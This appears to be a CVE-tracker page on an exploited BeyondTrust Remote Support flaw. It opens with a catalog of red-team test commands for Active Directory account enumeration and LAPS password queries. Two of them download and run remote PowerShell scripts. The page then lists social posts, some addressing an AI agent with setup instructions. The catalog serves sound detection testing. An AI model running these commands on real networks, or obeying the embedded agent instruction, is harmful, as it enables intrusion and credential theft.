T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell) 
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell) 
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell) 
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory Users with csvde Windows CMD
The following test uses csvde.exe to export a list of Active Directory users and their properties to a CSV file.
Command (CMD) 
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell) 
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD) 
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD) 
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell) 
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD) 
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell) 
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell) 
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

News (2)

Mentions (50)

12 mentions from 5 sources in the last 7 days BuzzFactor 41 / 100

  • social bsky.app @runbooklab.bsky.social 2026-11-04 06:31 UTC
    BeyondTrust Remote Support CVE-2026-102764: exploited since 29 Aug, CISA KEV 16 Oct, public Metasploit module 2 Nov. Do this: confirm BT26-05-RS on self-hosted appliances, then hunt. Check: /appliance interface Source: BeyondTrust BT26-05…
    Open source
  • social bsky.app @zoomeyebot.bsky.social 2026-11-03 18:45 UTC
    CVE-2026-102764: BeyondTrust RS file-op flaw; CVSS 9.3. Search: title="BeyondTrust" Exposure: 962 title matches; not confirmed vulnerable. ZoomEye Read https://zoomeye.ai/agent.md and configure ZoomEye for this agent.
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-11-02 08:57 UTC
    BeyondTrust Remote Support Under Attack: Hackers Expand Scanning for Critical CVE-2026-102764 Vulnerability A New Wave of Suspicious Activity Raises Exploitation Concerns Cybersecurity researchers have detected new scanning activity target…
    Open source
  • social bsky.app @infosec.skyfleet.blue 2026-11-02 08:37 UTC
    Critical BeyondTrust Vulnerability Faces Fresh Exploitation Probes as Hackers Prepare for Mass Scanning
    Open source
  • social bsky.app @thedailytechfeed.com 2026-11-02 08:30 UTC
    Probes now targeting BeyondTrust Remote Support’s CVE-2026-102764 — patch 24.3.1-26.2.3 or upgrade immediately. #Cybersecurity #Vulnerability #BeyondTrust #RemoteSupport #CVE2026102764 https://thedailytechfeed.com/critical-beyondtrust-remo…
    Open source
  • social bsky.app @securityonline.bsky.social 2026-11-02 00:18 UTC
    Exploited BeyondTrust Remote Support vulnerability CVE-2026-102764 now has full details and a public Metasploit module. Apply BT26-05-RS now. #BeyondTrust #RemoteSupport #CVE2026102764 #RCE #Metasploit #Rapid7 #ActiveExploitation #UNC5221
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-10-31 19:53 UTC
    Rapid7 Demonstrates Critical Remote Code Execution Vulnerability in Remote Support 2412 + Video Anonymous Sessions Could Upload PHP Files and Execute Commands as msfuser A newly demonstrated security vulnerability in Rapid7 Remote Support…
    Open source
  • social bsky.app @hendryadrian.bsky.social 2026-10-31 19:00 UTC
    Rapid7 demonstrated CVE-2026-102764 in Remote Support 24.1.2: an anonymous customer session could forge a local MRS router ID, upload a PHP file, and execute code as msfuser. Other affected releases and fixed builds remain undetermined.
    Open source
  • advisory rapid7.com 2026-10-30 16:30 UTC
    Rapid7 Analysis: Unauthenticated File Upload to RCE in BeyondTrust Remote Support (CVE-2026-102764) - Rapid7
    Open source
  • social nerdculture.de @youranonnewsirc 2026-10-28 16:26 UTC
    Latest cybersecurity reports highlight critical PHP vulnerabilities being actively exploited globally, necessitating emergency patching. CISA confirmed exploitation of the Node2Shell/Brotli flaw (CVE-2026-111497). China-linked groups lever…
    Open source
  • social bsky.app @cyber-threat.net 2026-10-28 13:52 UTC
    Hunt guide for BeyondTrust Remote Support CVE-2026-102764 (ARMORY CASTLE): path/process Sigma and KQL paired with Mandiant SAWFLY/BARECLAW YARA (cite-only). https://cyber-threat.net/hunt-beyondtrust-armory-castle-sawfly-bareclaw/
    Open source
  • social bsky.app @cyber-threat.net 2026-10-28 13:35 UTC
    ALERT: BeyondTrust Remote Support CVE-2026-102764 (ARMORY CASTLE) — unauthenticated file ops used as a zero-day. On CISA KEV; apply BT26-05-RS now. SaaS already patched. https://cyber-threat.net/beyondtrust-remote-support-cve-2026-102764-a…
    Open source
  • social bsky.app @unnchain.bsky.social 2026-10-27 03:12 UTC
    BeyondTrust Remote Support（自社運用版）に認証回避の脆弱性CVE-2026-102764（CVSS v4 9.3）。送信元の検証が甘く、認証なしで機器上のファイル操作が可能に。中国系とみられる攻撃者がゼロデイ悪用し、CISA KEV掲載。 26.2.3以前はBT26-05-RSパッチを適用（24.3.1未満は先に更新）。SaaS版は適用済み。侵害調査と保存済み認証情報の再発行も。 https://www.beyondtrust.com/trust-…
    Open source
  • advisory rapid7.com 2026-10-26 17:36 UTC
    CVE-2026-111497: Critical out-of-bounds write in the Node.js Brotli decoder - Rapid7
    Open source
  • social bsky.app @deafnews-auto.bsky.social 2026-10-24 00:05 UTC
    BeyondTrust: Chinese APT Armory Castle Exploited Zero-Day for 47 Days
    Open source
  • code github.com CompleteTech-LLC 2026-10-23 23:42 UTC
    CompleteTech-LLC/beyondtrust-remote-support-cve-2026-102764-check
    Open source
  • code github.com completetech-security 2026-10-23 23:42 UTC
    completetech-security/beyondtrust-remote-support-cve-2026-102764-check
    Open source
  • code github.com CompleTetech-Security 2026-10-23 23:42 UTC
    CompleTetech-Security/beyondtrust-remote-support-cve-2026-102764-check
    Open source
  • code github.com CompleTech-Security 2026-10-23 23:42 UTC
    CompleTech-Security/beyondtrust-remote-support-cve-2026-102764-check
    Open source
  • code github.com CompleteTech-Security 2026-10-23 23:42 UTC
    CompleteTech-Security/beyondtrust-remote-support-cve-2026-102764-check
    Open source
  • social bsky.app @zoomeyebot.bsky.social 2026-10-23 17:46 UTC
    BeyondTrust RS CVE-2026-102764 zero-day exploited by Armory Castle. Search: title="BeyondTrust" Exposure: 966 titled assets, not confirmed vulnerable. ZoomEye Read https://zoomeye.ai/agent.md and configure ZoomEye for this agent.
    Open source
  • social bsky.app @threatroundup.bsky.social 2026-10-22 15:08 UTC
    Google and Mandiant: China-nexus ARMORY CASTLE has exploited BeyondTrust zero-day CVE-2026-102764 since August: webshell, root, vault dump, tunnel. Patching won't evict them. 🎯 8 Hunt Leads inside, Junior to Elite #HuntLeads threatroundup.…
    Open source
  • social bsky.app @horusvalley.bsky.social 2026-10-22 09:33 UTC
    BeyondTrust Remote Support CVE-2026-102764: Patch Guide and Compromise Checklist CVE-2026-102764 is an actively exploited critical BeyondTrust Remote Support flaw. Check affected versions, apply BT26-05-RS and assess historical compromise.
    Open source
  • social bsky.app @ytroncal.bsky.social 2026-10-22 08:47 UTC
    CVE-2026-102764: A Remote Support Appliance, a Web Shell, and a SUID Backdoor dev.to/facilishz/cv...
    Open source
  • news shattered.io 2026-10-22 04:02 UTC
    BeyondTrust Zero-Day CVE-2026-102764: China APT, CVSS 9.3 - shattered.io
    Open source
  • code github.com maxprog-svg 2026-10-21 08:14 UTC
    maxprog-svg/CVE-2026-102764
    Open source
  • news t.co 2026-10-21 07:00 UTC
    Weekly Security Roundup: PHP and Node.js Patches, OpenCode Breach, and More · cyber.hendryadrian.com - Howl.link
    Open source
  • social bsky.app @pmloik.bsky.social 2026-10-21 06:30 UTC
    Top 3 CVE for last 7 days: CVE-2026-99999: 182 interactions CVE-2026-94603: 148 interactions CVE-2026-102764: 97 interactions Top 3 CVE for yesterday: CVE-2026-111943: 61 interactions CVE-2026-99999: 13 interactions CVE-2026-102764: 8 inte…
    Open source
  • social bsky.app @lemagit.bsky.social 2026-10-21 03:31 UTC
    CVE-2026-102764 (BeyondTrust) est exploité. ⚠️ Risque : Contournement d'auth et vol de secrets. Stratégie : Post-patch, la rotation des secrets est IMPÉRATIVE. Vos défenses sont au niveau ? 🔐 [lire]
    Open source
  • social bsky.app @cybernewsdaily.bsky.social 2026-10-20 23:05 UTC
    BeyondTrust Remote Support suffers critical CVE-2026-102764 auth bypass flaw. Patch now Sponsor this news channel. https://www.ProNetGrowth.com/cyber/?utm_source=bluesky&utm_medium=post&utm_campaign=news-cybersecurity&utm_content=cybersecu…
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-10-20 21:16 UTC
    BeyondTrust Confirms Two Remote Support Compromises: CVE-2026-102764 Puts Unpatched Systems at Risk + Video Introduction: Authentication Bypass Turns Remote Support Into a Potential Attack Path Remote support platforms are powerful adminis…
    Open source
  • social bsky.app @hendryadrian.bsky.social 2026-10-20 20:00 UTC
    BeyondTrust confirmed two Remote Support compromises involving CVE-2026-102764, an authentication bypass affecting versions 26.2.3 and earlier. A patch is available; organizations should patch urgently and investigate for prior compromise.
    Open source
  • advisory watchtowr.com 2026-10-20 19:40 UTC
    Frequently Asked Questions About PHP Remote Code Execution (PHP2Shell CVE-2026-109618 & CVE-2026-109619) - watchTowr
    Open source
  • social bsky.app @alt.pds.lefht.cc 2026-10-20 18:15 UTC
    5. CVE-2026-102764 · 4 people 🔥 🟥 Critical 9.3 · BeyondTrust Remote Support Improper Origin Validation in Internal Messaging Components of BeyondTrust Remote Support
    Open source
  • social bsky.app @alt.pds.lefht.cc 2026-10-20 18:15 UTC
    🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-99999 · 15 people 2. CVE-2026-110936 · 12 people 3. CVE-2026-0257 · 8 people 🔥 4. CVE-2026-106931 · 8 people 5. CVE-2026-102764 · 4 people 🔥 🔥 = on CISA's Known Exploited list · detai…
    Open source
  • news forkast.news 2026-10-20 11:14 UTC
    BeyondTrust Remote Support Ships Internal Messaging That Can Be Spoofed. ARMORY CASTLE Exploited It in August. - Forkast News
    Open source
  • social bsky.app @diesec.bsky.social 2026-10-20 08:00 UTC
    BeyondTrust Remote Support zero-day (CVE-2026-102764, CVSS 9.3): China-linked Armory Castle exploited it from Aug 29. Added to CISA KEV Oct 16. Rebuild exposed appliances and rotate stored credentials. #ZeroDay #CyberSecurity diesec.com/20…
    Open source
  • news hkcert.org 2026-10-20 07:00 UTC
    BeyondTrust Remote Support Security Restriction Bypass Vulnerability - Hong Kong Computer Emergency Response Team Coordination Centre
    Open source
  • social bsky.app @pmloik.bsky.social 2026-10-20 06:31 UTC
    Top 3 CVE for last 7 days: CVE-2026-99999: 169 interactions CVE-2026-94603: 148 interactions CVE-2026-102764: 89 interactions Top 3 CVE for yesterday: CVE-2026-102764: 14 interactions CVE-2026-99999: 14 interactions CVE-2026-106931: 10 int…
    Open source
  • social bsky.app @vritrasecnews.bsky.social 2026-10-19 23:09 UTC
    Overview On October 15, 2026, BeyondTrust disclosed a critical authentication bypass in Remote Support (RS) , its platform for remotely troubleshooting and... 🔗 https://www.rapid7.com/blog/post/etr-cve-2026-102764-critical-beyondtrust-remo…
    Open source
  • social bsky.app @cyberveille-ch.bsky.social 2026-10-19 21:30 UTC
    📢 ARMORY CASTLE exploite CVE-2026-102764 dans BeyondTrust Remote Support en zero-day Le 15 octobre 2026, BeyondTrust a divulgué la vulnérabilité CVE-2026-102764 affectant les appliances BeyondTrust Remote Support… 🟢 vérification factuelle…
    Open source
  • social bsky.app @alt.pds.lefht.cc 2026-10-19 18:15 UTC
    2. CVE-2026-102764 · 13 people 🔥 🟥 Critical 9.3 · BeyondTrust Remote Support Improper Origin Validation in Internal Messaging Components of BeyondTrust Remote Support
    Open source
  • social bsky.app @alt.pds.lefht.cc 2026-10-19 18:15 UTC
    🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-99999 · 16 people 2. CVE-2026-102764 · 13 people 🔥 3. CVE-2026-106931 · 12 people 4. CVE-2026-78162 · 5 people 5. CVE-2026-102503 · 4 people 🔥 = on CISA's Known Exploited list · detai…
    Open source
  • news techtimes.com 2026-10-19 17:41 UTC
    China Hacked BeyondTrust Enterprise Vaults With Zero-Day Active for Seven Weeks - Tech Times
    Open source
  • social bsky.app @yogsec.bsky.social 2026-10-19 17:12 UTC
    CVE-2026-102764 BeyondTrust Remote Support authentication bypass. Internal messaging components fail to validate message origin, allowing an unauthenticated remote attacker to perform arbitrary file operations and potentially fully comprom…
    Open source
  • social bsky.app @undercode.bsky.social 2026-10-19 17:01 UTC
    Navigating the BeyondTrust Authentication Bypass (CVE-2026-102764): Threat Analysis, Exploitation Tactics, and Hardening Guide + Video Introduction: The discovery of CVE-2026-102764—a critical authentication bypass vulnerability in BeyondT…
    Open source
  • social bsky.app @undercode.bsky.social 2026-10-19 16:55 UTC
    Critical Authentication Bypass Vulnerability CVE-2026-102764 in BeyondTrust Remote Support: Threat Landscape, Exploitation Vectors, and Hardening Guide + Video Introduction: The discovery of CVE-2026-102764, a critical authentication bypas…
    Open source
  • social bsky.app @undercode.bsky.social 2026-10-19 16:54 UTC
    Critical Authentication Bypass in BeyondTrust Remote Support Exploited by Chinese Espionage Actors + Video Introduction: BeyondTrust Remote Support customers face an urgent threat following the active exploitation of CVE-2026-102764, a cri…
    Open source
  • social bsky.app @netsecio.bsky.social 2026-10-19 16:47 UTC
    A China-linked group, Armory Castle, is actively exploiting a critical zero-day (CVE-2026-102764) in BeyondTrust Remote Support appliances to gain root access and steal credentials. Patching is urgent. #CyberSecurity #ThreatIntel #ZeroDay…
    Open source
  • social bsky.app @0daynews.bsky.social 2026-10-19 16:30 UTC
    beyondtrust remote support cvss 9.8 auth bypass actively exploited; cisa federal patch deadline october 19, 2026. #infosec https://0daynews.com/articles/2026-10-19-beyondtrust-cve-2026-102764-auth-bypass-kev/
    Open source

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-102764
beyondtrust.com
GitHub CVE
https://www.beyondtrust.com/blog/entry/bt26-05
beyondtrustcorp.service-now.com
GitHub CVE
https://beyondtrustcorp.service-now.com/csm?id=csm_kb_article&sysparm_article=KB0024066
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-102764